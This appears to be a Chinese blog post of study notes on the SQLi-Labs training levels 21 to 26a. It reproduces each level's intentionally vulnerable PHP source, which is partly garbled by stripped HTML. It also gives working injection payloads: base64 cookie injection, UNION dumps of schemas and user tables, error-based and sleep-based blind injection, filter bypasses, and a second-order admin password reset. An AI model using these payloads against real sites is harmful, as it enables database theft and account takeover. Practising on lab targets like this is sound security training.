SQLi-Labs 学习笔记(Less 21-30)

点击打开链接

Less-21 基于错误的复杂的字符型Cookie注入


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 21-30)_第1张图片


②查看源代码:

[plain]  view plain  copy
  1.   
  2.   
  3.   
  4.   
  5.   
  6. Less-21 Cookie Injection- Error Based- complex - string  
  7.   
  8.   
  9.   
  10. //including the Mysql connect parameters.  
  11.     include("../sql-connections/sql-connect.php");  
  12. if(!isset($_COOKIE['uname']))  
  13.     {  
  14.     //including the Mysql connect parameters.  
  15.     include("../sql-connections/sql-connect.php");  
  16.   
  17.     echo " Welcome    Dhakkan 
";  
  •     echo "";  
  •     echo "";  
  •    
  •   
  •     echo "";  
  •     echo '';  
  •   
  •     echo ' Username :    ';  
  •     echo '     
  • ';  
  •     
  •     echo ' 
     Password :      ';  
  •     echo '   

  • ';   
  •     echo '   
  • ';  
  •   
  •     echo '';  
  •     echo '
  • ';  
  •     echo '
  • ';  
  •     echo '';  
  •     echo '';  
  •     echo '



    ';  
  •     echo '';  
  •     echo '';  
  •   
  •   
  •   
  •   
  •   
  •       
  • function check_input($value)  
  •     {  
  •     if(!empty($value))  
  •         {  
  •         $value = substr($value,0,20); // truncation (see comments)  
  •         }  
  •         if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled  
  •             {  
  •             $value = stripslashes($value);  
  •             }  
  •         if (!ctype_digit($value))       // Quote if not a number  
  •             {  
  •             $value = "'" . mysql_real_escape_string($value) . "'";  
  •             }  
  •     else  
  •         {  
  •         $value = intval($value);  
  •         }  
  •     return $value;  
  •     }  
  •   
  •   
  •       
  •     echo "
    ";  
  •     echo "
    ";  
  •       
  •     if(isset($_POST['uname']) && isset($_POST['passwd']))  
  •         {  
  •       
  •         $uname = check_input($_POST['uname']);  
  •         $passwd = check_input($_POST['passwd']);  
  •           
  •       
  •   
  •           
  •         $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  •         $result1 = mysql_query($sql);  
  •         $row1 = mysql_fetch_array($result1);  
  •             if($row1)  
  •                 {  
  •                 echo '';  
  •                 setcookie('uname', base64_encode($row1['username']), time()+3600);    
  •                   
  •                 echo "I LOVE YOU COOKIES";  
  •                 echo "";  
  •                 echo '';              
  •                 //echo 'Your Cookie is: ' .$cookee;  
  •                 echo "";  
  •                 echo "
    ";  
  •                 print_r(mysql_error());           
  •                 echo "

    ";  
  •                 echo '';  
  •                 echo "
    ";  
  •                 header ('Location: index.php');  
  •                 }  
  •             else  
  •                 {  
  •                 echo '';  
  •                 //echo "Try again looser";  
  •                 print_r(mysql_error());  
  •                 echo "
    ";           
  •                 echo "
    ";  
  •                 echo '';    
  •                 echo "";    
  •                 }  
  •             }  
  •           
  •             echo "";    
  •     echo '';  
  •     echo '
  • ';  
  •   
  • }  
  • else  
  • {  
  •   
  •   
  •   
  •     if(!isset($_POST['submit']))  
  •         {  
  •             $cookee = $_COOKIE['uname'];  
  •             $format = 'D d M Y - H:i:s';  
  •             $timestamp = time() + 3600;  
  •             echo "
    ";  
  •             echo "


    ";  
  •             echo '';  
  •             echo "

    ";  
  •             echo '
    ';     
  •             echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];  
  •             echo "
    ";   
  •             echo '';      
  •             echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];             
  •             echo "
    ";           
  •             echo '';  
  •             echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE 
    ";  
  •             echo '';           
  •             echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);  
  •               
  •             $cookee = base64_decode($cookee);  
  •             echo "
    ";  
  •             $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";  
  •             $result=mysql_query($sql);  
  •             if (!$result)  
  •                 {  
  •                 die('Issue with your mysql: ' . mysql_error());  
  •                 }  
  •             $row = mysql_fetch_array($result);  
  •             if($row)  
  •                 {  
  •                 echo '';      
  •                 echo 'Your Login name:'. $row['username'];  
  •                 echo "
    ";  
  •                 echo '';      
  •                 echo 'Your Password:' .$row['password'];  
  •                 echo "";  
  •                 echo "
    ";  
  •                 echo 'Your ID:' .$row['id'];  
  •                 }  
  •             else      
  •                 {  
  •                 echo "
    ";  
  •                 echo '


    ';  
  •                 echo '';  
  •                 echo "

    ";  
  •                 //echo '';  
  •                 }  
  •             echo '
    ';  
  •             echo '';  
  •             echo '';  
  •             echo '';  
  •             echo '';  
  •         }     
  •     else  
  •         {  
  •         echo '
    ';  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo '';  
  •         echo " Your Cookie is deleted";  
  •                 setcookie('uname', base64_encode($row1['username']), time()-3600);  
  •                 header ('Location: index.php');  
  •         echo '
    ';  
  •           
  •         }         
  •   
  •   
  •             echo "
    ";  
  •             echo "
    ";  
  •             //header ('Location: main.php');  
  •             echo "
    ";  
  •             echo "
    ";  
  •               
  •             //echo '';  
  •             //logging the connection parameters to a file for analysis.   
  •         $fp=fopen('result.txt','a');  
  •         fwrite($fp,'Cookie:'.$cookee."\n");  
  •       
  •         fclose($fp);  
  •       
  • }  
  • ?>  
  •   
  •   
  •   

  • 分析代码可以看到这里采用了 base64编码

    [plain]  view plain  copy
    1. $cookee = base64_decode($cookee);  
    2. echo "
      ";  
    3. $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";  

    那我们只要把注入的语句改成base64就可以了

    SQLi-Labs 学习笔记(Less 21-30)_第2张图片


    Less-22 基于错误的双引号字符型Cookie注入


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第3张图片


    ②查看源代码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5.   
    6. Less-22 Cookie Injection- Error Based- Double Quotes - string  
    7.   
    8.   
    9.   
    10. //including the Mysql connect parameters.  
    11.     include("../sql-connections/sql-connect.php");  
    12. if(!isset($_COOKIE['uname']))  
    13.     {  
    14.     //including the Mysql connect parameters.  
    15.     include("../sql-connections/sql-connect.php");  
    16.   
    17.     echo " Welcome    Dhakkan 
    ";  
  •     echo "";  
  •     echo "";  
  •    
  •   
  •     echo "";  
  •     echo '';  
  •   
  •     echo ' Username :    ';  
  •     echo '     
  • ';  
  •     
  •     echo ' 
     Password :      ';  
  •     echo '   

  • ';   
  •     echo '   ';  
  •   
  •     echo '';  
  •     echo '';  
  •     echo '';  
  •     echo '';  
  •     echo '';  
  •     echo '



    ';  
  •     echo '';  
  •     echo '';  
  •   
  •   
  •   
  •   
  •   
  •   
  •       
  • function check_input($value)  
  •     {  
  •     if(!empty($value))  
  •         {  
  •         $value = substr($value,0,20); // truncation (see comments)  
  •         }  
  •         if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled  
  •             {  
  •             $value = stripslashes($value);  
  •             }  
  •         if (!ctype_digit($value))       // Quote if not a number  
  •             {  
  •             $value = "'" . mysql_real_escape_string($value) . "'";  
  •             }  
  •     else  
  •         {  
  •         $value = intval($value);  
  •         }  
  •     return $value;  
  •     }  
  •   
  •   
  •       
  •     echo "
    ";  
  •     echo "
    ";  
  •       
  •     if(isset($_POST['uname']) && isset($_POST['passwd']))  
  •         {  
  •       
  •         $uname = check_input($_POST['uname']);  
  •         $passwd = check_input($_POST['passwd']);  
  •           
  •       
  •   
  •           
  •         $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  •         $result1 = mysql_query($sql);  
  •         $row1 = mysql_fetch_array($result1);  
  •             if($row1)  
  •                 {  
  •                 echo '';  
  •                 setcookie('uname', base64_encode($row1['username']), time()+3600);    
  •                 header ('Location: index.php');  
  •                 echo "I LOVE YOU COOKIES";  
  •                 echo "";  
  •                 echo '';              
  •                 //echo 'Your Cookie is: ' .$cookee;  
  •                 echo "";  
  •                 echo "
    ";  
  •                 print_r(mysql_error());           
  •                 echo "

    ";  
  •                 echo '';  
  •                 echo "
    ";  
  •                 }  
  •             else  
  •                 {  
  •                 echo '';  
  •                 //echo "Try again looser";  
  •                 print_r(mysql_error());  
  •                 echo "
    ";           
  •                 echo "
    ";  
  •                 echo '';    
  •                 echo "";    
  •                 }  
  •             }  
  •           
  •             echo "";    
  •     echo '';  
  •     echo '';  
  •   
  • }  
  • else  
  • {  
  •   
  •   
  •   
  •     if(!isset($_POST['submit']))  
  •         {  
  •             $cookee = $_COOKIE['uname'];  
  •             $format = 'D d M Y - H:i:s';  
  •             $timestamp = time() + 3600;  
  •             echo "
    ";  
  •             echo "


    ";  
  •             echo '';  
  •             echo "

    ";  
  •             echo '
    ';     
  •             echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];  
  •             echo "
    ";   
  •             echo '';      
  •             echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];             
  •             echo "
    ";           
  •             echo '';  
  •             echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE 
    ";  
  •             echo '';           
  •             echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);  
  •               
  •             $cookee = base64_decode($cookee);  
  •             $cookee1 = '"'. $cookee. '"';  
  •             echo "
    ";  
  •             $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";  
  •             $result=mysql_query($sql);  
  •             if (!$result)  
  •                 {  
  •                 die('Issue with your mysql: ' . mysql_error());  
  •                 }  
  •             $row = mysql_fetch_array($result);  
  •             if($row)  
  •                 {  
  •                 echo '';      
  •                 echo 'Your Login name:'. $row['username'];  
  •                 echo "
    ";  
  •                 echo '';      
  •                 echo 'Your Password:' .$row['password'];  
  •                 echo "";  
  •                 echo "
    ";  
  •                 echo 'Your ID:' .$row['id'];  
  •                 }  
  •             else      
  •                 {  
  •                 echo "
    ";  
  •                 echo '


    ';  
  •                 echo '';  
  •                 echo "

    ";  
  •                 //echo '';  
  •                 }  
  •             echo '
    ';  
  •             echo '';  
  •             echo '';  
  •             echo '';  
  •             echo '';  
  •         }     
  •     else  
  •         {  
  •         echo '
    ';  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo '';  
  •         echo " Your Cookie is deleted";  
  •                 setcookie('uname', base64_encode($row1['username']), time()-3600);  
  •                 header ('Location: index.php');  
  •         echo '
    ';  
  •           
  •         }         
  •   
  •   
  •             echo "
    ";  
  •             echo "
    ";  
  •             //header ('Location: main.php');  
  •             echo "
    ";  
  •             echo "
    ";  
  •               
  •             //echo '';  
  •             //logging the connection parameters to a file for analysis.   
  •         $fp=fopen('result.txt','a');  
  •         fwrite($fp,'Cookie:'.$cookee."\n");  
  •       
  •         fclose($fp);  
  •       
  • }  
  • ?>  
  •   
  •   
  •   

  • 没什么好说的,这次用的是双引号,那就改双引号喽


    SQLi-Labs 学习笔记(Less 21-30)_第4张图片


    Less-23 基于错误的,过滤注释的GET型


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第5张图片


    ②查看源代码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-23 **Error Based- no comments**  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19. $id=$_GET['id'];  
    20.   
    21. //filter the comments out so as to comments should not work  
    22. $reg = "/#/";  
    23. $reg1 = "/--/";  
    24. $replace = "";  
    25. $id = preg_replace($reg, $replace, $id);  
    26. $id = preg_replace($reg1, $replace, $id);  
    27. //logging the connection parameters to a file for analysis.  
    28. $fp=fopen('result.txt','a');  
    29. fwrite($fp,'ID:'.$id."\n");  
    30. fclose($fp);  
    31.   
    32. // connectivity   
    33.   
    34.   
    35. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    36. $result=mysql_query($sql);  
    37. $row = mysql_fetch_array($result);  
    38.   
    39.     if($row)  
    40.     {  
    41.     echo '';     
    42.     echo 'Your Login name:'. $row['username'];  
    43.     echo "
      ";  
    44.     echo 'Your Password:' .$row['password'];  
    45.     echo "";  
    46.     }  
    47.     else   
    48.     {  
    49.     echo '';  
    50.     print_r(mysql_error());  
    51.     echo "";    
    52.     }  
    53. }  
    54.     else { echo "Please input the ID as parameter with numeric value";}  
    55.   
    56. ?>  
    57.  



      
  •   
  •   
  •   

  • 既然是过滤字符,那就来判断一下它都过滤了哪些字符,首先判断#号
    SQLi-Labs 学习笔记(Less 21-30)_第6张图片


    很明显#号被过滤了,因为如果没有被过滤那么是不会报错了,报错的原因是因为:

    [plain]  view plain  copy
    1. SELECT * FROM users WHERE id='$id' LIMIT 0,1  

    被替换成了

    [plain]  view plain  copy
    1. SELECT * FROM users WHERE id='1'#' LIMIT 0,1  

    #号被过滤掉的话,就会报错,再来看看 -- 单行注释有没有被过滤

    SQLi-Labs 学习笔记(Less 21-30)_第7张图片


    %20是空格的意思,因为我们要在--后加个空格或其他什么字符,单行注释才有效,那么很明显,也被过滤了。至于为什么说被过滤了,和刚才的判断方法一样。


    总结一下如何判断注释过滤,具体过滤成什么就要看报错信息

    #:直接加 单引号,双引号等,后面再加个#

    --:直接加 单引号,双引号等,后面再加个--,后面不用空格(因为--注释有效的时候,后面要有空格或其他字符才行,这里判断过滤就不用了)


    既然被过滤了,那我们只好闭合绕过

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-23/?id=1' or '1'='1  

    SQLi-Labs 学习笔记(Less 21-30)_第8张图片


    开始构建sql语句:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,database(),'3  
    SQLi-Labs 学习笔记(Less 21-30)_第9张图片


    此处讲解几个知识点:

    1. id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
    2. -1' union select 1,database(),'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。

    此处可以报错注入,延时注入,可以利用or '1'='1进行闭合。

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-23/?id=-1' or extractvalue(1,concat(0x7e,database())) or '1'='1  


    获取数据库:

    [plain]  view plain  copy
    1. http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3   

    查看 security库数据表
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3  


    查看users表的所有列:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3  

    获取内容:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(username) from security.users limit 0,1),'3  


    Less-24二次注入


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第10张图片


    这次页面稍微有趣一点了,来看看根目录有哪些文件

    SQLi-Labs 学习笔记(Less 21-30)_第11张图片


    Ps:本关可能会有朋友和我遇到一样的问题,登录成功以后没有修改密码的相关操作。此时造成问题的主要原因是logged-in.php文件不正确。可重新下载解压,解压过程中要主要要覆盖


    本关为二次排序注入的示范例。二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。二次排序注入思路:


    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。


    那么,我们来分析一下代码,首先是login.php(对登录进行处理的文件):

    [plain]  view plain  copy
    1. $username = mysql_real_escape_string($_POST["login_user"]);  
    2. $password = mysql_real_escape_string($_POST["login_password"]);  
    3. $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";  


    很明显的,对用户和密码都过滤了,接下来是login_create.php(对新建用户进行处理的文件):

    [plain]  view plain  copy
    1. $username=  mysql_escape_string($_POST['username']) ;  
    2. $pass= mysql_escape_string($_POST['password']);  
    3. $re_pass= mysql_escape_string($_POST['re_password']);  

    过滤了三个字段,到了pass_change.php我们就有收获了,

    SQLi-Labs 学习笔记(Less 21-30)_第12张图片


    发现更改密码时,直接从SESSION里面获取而没有进行任何的过滤,一旦我的用户名有注释符,那么我就可以随意更改别人的密码了。


    既然思路已经有了,那么就开始吧,首先注册一个admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。

    SQLi-Labs 学习笔记(Less 21-30)_第13张图片


    我们先看下admin的密码,此时的密码是1:

    SQLi-Labs 学习笔记(Less 21-30)_第14张图片


    然后我们对 admin'# 修改密码,这期间会执行这样的一条语句:

    [plain]  view plain  copy
    1. UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='...  

    事实上也就是执行了:

    [plain]  view plain  copy
    1. UPDATE users SET passwd="New_Pass" WHERE username ='admin'  


    那么,来修改下密码,看看admin的密码是否变化了,我将密码改为888888

    SQLi-Labs 学习笔记(Less 21-30)_第15张图片


    来看看数据库的,我们发现admin的密码变成了888888

    SQLi-Labs 学习笔记(Less 21-30)_第16张图片



    Less-25 过滤了or和and


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第17张图片


    ②查看源代码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-25 Trick with OR & AND  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16.   
    17. // take the variables   
    18. if(isset($_GET['id']))  
    19. {  
    20.     $id=$_GET['id'];  
    21.     //logging the connection parameters to a file for analysis.  
    22.     $fp=fopen('result.txt','a');  
    23.     fwrite($fp,'ID:'.$id."\n");  
    24.     fclose($fp);  
    25.   
    26.     //fiddling with comments  
    27.     $id= blacklist($id);  
    28.     //echo "
      ";  
    29.     //echo $id;  
    30.     //echo "
      ";  
    31.     $hint=$id;  
    32.   
    33. // connectivity   
    34.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    35.     $result=mysql_query($sql);  
    36.     $row = mysql_fetch_array($result);  
    37.     if($row)  
    38.     {  
    39.         echo "";    
    40.         echo 'Your Login name:'. $row['username'];  
    41.         echo "
      ";  
    42.         echo 'Your Password:' .$row['password'];  
    43.         echo "";  
    44.     }  
    45.     else   
    46.     {  
    47.         echo '';  
    48.         print_r(mysql_error());  
    49.         echo "";    
    50.     }  
    51. }  
    52. else   
    53. {   
    54.     echo "Please input the ID as parameter with numeric value";  
    55. }  
    56.   
    57.   
    58. function blacklist($id)  
    59. {  
    60.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
    61.     $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)  
    62.       
    63.     return $id;  
    64. }  
    65.   
    66.   
    67.   
    68.   
    69. ?>  
    70.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   

  • [plain]  view plain  copy
    1. 首先,通过确认单引号字符注入  
    2. http://localhost/sqli-labs/Less-25/?id=1'    
    3. 判断过滤了or,跟less1对比报错即可推断出来  
    4.   
    5. http://localhost/sqli-labs/Less-25/?id=1' or1   
    6.   
    7. 判断过滤了and   
    8. http://localhost/sqli-labs/Less-25/?id=1' and1    
    9.   
    10. 再分析下源码,开了i模式的匹配,大小写看来是不能饶的  
    11. $id= preg_replace('/or/i',"", $id);   
    12. $id= preg_replace('/AND/i',"", $id);  


    如何绕过or和and过滤。一般性提供以下几种思路:

    1. 大小写变形 Or,OR,oR
    2. 编码,hex,urlencode
    3. 添加注释/*or*/
    4. 利用符号 and=&& or=||
    5. 双写绕过 oorr anandd

    这里我们利用(4)进行注入,

    SQLi-Labs 学习笔记(Less 21-30)_第18张图片


    利用extractvalue,来获取数据库信息

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-25/?id=1' || extractvalue(1,concat(0x7e,database())) || '1'='1  

    SQLi-Labs 学习笔记(Less 21-30)_第19张图片


    Less-25a 过滤了or和and的盲注


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第20张图片


    ②查看源代码  :

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-25a Trick with OR & AND Blind  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16.   
    17. // take the variables  
    18. if(isset($_GET['id']))  
    19. {  
    20. $id=$_GET['id'];  
    21. //logging the connection parameters to a file for analysis.  
    22. $fp=fopen('result.txt','a');  
    23. fwrite($fp,'ID:'.$id."\n");  
    24. fclose($fp);  
    25.   
    26.     //fiddling with comments  
    27.     $id= blacklist($id);  
    28.     //echo "
      ";  
    29.     //echo $id;  
    30.     //echo "
      ";  
    31.     $hint=$id;  
    32.   
    33. // connectivity   
    34. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
    35. $result=mysql_query($sql);  
    36. $row = mysql_fetch_array($result);  
    37.   
    38.     if($row)  
    39.     {  
    40.         echo "";    
    41.         echo 'Your Login name:'. $row['username'];  
    42.         //echo 'YOU ARE IN ........';         
    43.         echo "
      ";  
    44.         echo 'Your Password:' .$row['password'];  
    45.         echo "";  
    46.     }  
    47.     else   
    48.     {  
    49.         echo '';  
    50.         //echo 'You are in...........';  
    51.         //print_r(mysql_error());  
    52.         //echo "You have an error in your SQL syntax";  
    53.         echo "
      ";      
    54.         echo '';    
    55.       
    56.     }  
    57. }  
    58.     else   
    59. {   
    60.     echo "Please input the ID as parameter with numeric value";  
    61. }  
    62.   
    63. function blacklist($id)  
    64. {  
    65.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
    66.     $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)  
    67.       
    68.     return $id;  
    69. }  
    70.   
    71.   
    72.   
    73. ?>  
    74.   
    75.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   

  • 那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-25a/?id=or1  

    不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-25a/?id=-1 || if(length(database())=8,1,sleep(5))#  

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-25a/?id=-1 union select 1,database(),3#  


    Less-26 过滤了注释和空格的注入


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第21张图片


    ②查看源码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-26 Trick with comments  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19.     $id=$_GET['id'];  
    20.     //logging the connection parameters to a file for analysis.  
    21.     $fp=fopen('result.txt','a');  
    22.     fwrite($fp,'ID:'.$id."\n");  
    23.     fclose($fp);  
    24.   
    25.     //fiddling with comments  
    26.     $id= blacklist($id);  
    27.     //echo "
      ";  
    28.     //echo $id;  
    29.     //echo "
      ";  
    30.     $hint=$id;  
    31.   
    32. // connectivity   
    33.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    34.     $result=mysql_query($sql);  
    35.     $row = mysql_fetch_array($result);  
    36.     if($row)  
    37.     {  
    38.         echo "";    
    39.         echo 'Your Login name:'. $row['username'];  
    40.         echo "
      ";  
    41.         echo 'Your Password:' .$row['password'];  
    42.         echo "";  
    43.     }  
    44.     else   
    45.     {  
    46.         echo '';  
    47.         print_r(mysql_error());  
    48.         echo "";    
    49.     }  
    50. }  
    51.     else { echo "Please input the ID as parameter with numeric value";}  
    52.   
    53.   
    54.   
    55.   
    56. function blacklist($id)  
    57. {  
    58.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
    59.     $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)  
    60.     $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
    61.     $id= preg_replace('/[--]/',"", $id);        //Strip out --  
    62.     $id= preg_replace('/[#]/',"", $id);         //Strip out #  
    63.     $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces  
    64.     $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes  
    65.     return $id;  
    66. }  
    67.   
    68.   
    69.   
    70. ?>  
    71.  



      
  •   

  •   

  •   

  •   
  •   

  •   

  •   
  •   
  • echo "Hint: Your Input is Filtered with following result: ".$hint;  
  • ?>  
  •    
  •   
  •   
  •   

  • [plain]  view plain  copy
    1. 确认过滤了#    
    2. http://localhost/sqli-labs/Less-26/?id=%231    
    3. 确认过滤了or    
    4. http://localhost/sqli-labs/Less-26/?id=or1    
    5. 确认过滤多行注释符    
    6. http://localhost/sqli-labs/Less-26/?id=/*1    
    7. 确认过滤了单行注释    
    8. http://localhost/sqli-labs/Less-26/?id=--1   
    9. 确认过滤了斜杠    
    10. http://localhost/sqli-labs/Less-26/?id=/1    
    11. 确认过滤了反斜杠    
    12. http://localhost/sqli-labs/Less-26/?id=1\    
    13. 确认过滤了空格    
    14. http://localhost/sqli-labs/Less-26/?id=1' ' '    


    看下源码:

    [plain]  view plain  copy
    1. $id= preg_replace('/or/i',"", $id);  
    2. $id= preg_replace('/and/i',"", $id);  
    3. $id= preg_replace('/[\/\*]/',"", $id);  
    4. $id= preg_replace('/[--]/',"", $id);  
    5. $id= preg_replace('/[#]/',"", $id);  
    6. $id= preg_replace('/[\s]/',"", $id);  
    7. $id= preg_replace('/[\/\\\\]/',"", $id);  


    将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

    %09 TAB键(水平)

    %0a 新建一行

    %0c 新的一页

    %0d return功能

    %0b TAB键(垂直)

    %a0 空格


    注意:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。


    不过还是想到一个不用半个空格就可以获取信息的方法,构建如下语句:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-26/?id=-1%27||extractvalue(1,concat(0x7e,database()))||'1'='1  

    SQLi-Labs 学习笔记(Less 21-30)_第22张图片


    遗憾的是只能获取一些少量信息,由于我的平台是windows的,就不给大家演示Linux下的了,直接给出payload:

    [plain]  view plain  copy
    1. 确认字段数    
    2. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271    
    3. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271    
    4. 获取当前使用的数据库    
    5. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271    
    6. 获取表信息    
    7. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271    
    8. 获取列信息    
    9. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='emails'%26%26%a0%271%27=%271    
    10. 获取数据,  
    11. http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3   
    12. http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271    

    Less-26a  过滤了空格和注释的盲注


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 21-30)_第23张图片


    ②查看源代码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-26a Trick with comments  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15.   
    16. // take the variables   
    17. if(isset($_GET['id']))  
    18. {  
    19.     $id=$_GET['id'];  
